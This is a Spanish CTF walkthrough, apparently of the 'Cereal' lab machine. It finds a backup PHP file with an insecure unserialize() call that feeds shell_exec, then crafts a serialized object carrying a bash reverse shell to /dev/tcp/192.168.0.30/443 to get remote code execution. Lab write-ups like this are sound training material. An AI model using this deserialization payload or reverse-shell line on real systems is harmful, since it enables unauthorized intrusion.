gobuster vhost -u http://cereal.ctf:44441/ -w subdomains-top1million-5000.txt
{{pasted_image_20230711114040.png|}}
Y accedemos a este panel:
{{pasted_image_20230711114117.png|}}
Podemos probar si se ejecuta de verdad un ping poniéndonos en escucha con
''tcpdump'' con este parámetro y vemos que hay conectividad:
tcpdump -i eth0 -n
{{pasted_image_20230711114353.png|}}
Vamos a volver a ejecutar un ping pero interceptamos la petición con burpsuite:
{{pasted_image_20230711114742.png|}}
Y tenemos un objeto con información:
{{pasted_image_20230711114803.png|}}
Pero esa data viene url codificada, para decodificarla podemos presionar control
+ shift + u:
{{pasted_image_20230711114859.png|}}
Ahora en este punto, hay un directorio dentro de la máquina donde podemos ver
cómo se efectúa esta deserialización por detrás, por tanto para encontrar esta
ubicación podemos usar gobuster nuevamente pero con un diccionario mucho más
grande:
Y esta es la ubicación donde no tenemos permisos:
{{pasted_image_20230711115536.png|}}
Pero ahora podemos hacer búsqueda por extensiones de archivos, donde tras ir
probando extensiones, nos encontramos el /index.php.bak:
{{pasted_image_20230711115721.png|}}
Y nos encontramos con esto:
{{pasted_image_20230711115752.png|}}
Y si miramos el código fuente, podemos acceder a cómo se tramita la
deserialización por detrás:
isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
echo "
Ping Test
Ping Test
";
?>
{{pasted_image_20230711115847.png|}}
Y aquí en esta parte podemos ver cómo se valida que el input sea una IP y no se
pueda colar ningún otro comando; pero nuestro objetivo es poder insertar un
comando dentro de la variable ipAddress:
{{pasted_image_20230711120121.png|}}
Por tanto vamos a crear un nuevo fichero con la data del principio manipulada
para después serializarlo y colarlo en burp suite para ejecutar un comando de
forma remota:
& /dev/tcp/192.168.0.30/443 0>&1'";
public $isValid = True;
public $output = "";
}
echo urlencode(serialize(new pingTest));
{{pasted_image_20230711121213.png|}}
Si lo ejecutamos, gracias al echo del final, tendremos el texto deserializado:
{{pasted_image_20230711121239.png|}}
Por tanto volvemos a la ventana del principio e interceptamos nuevamente la
petición:
{{pasted_image_20230711121327.png|}}
{{pasted_image_20230711121511.png|}}
Si pegamos en la última línea el código serializado de antes con el código
malicioso, lograremos ejecutar un comando de forma remota, y por tanto obtener
una reverse shell:
{{pasted_image_20230711121610.png|}}
{{pasted_image_20230711121633.png|}}
Si lo ejecutamos, obtenemos una reverse shell:
{{pasted_image_20230711121655.png|}}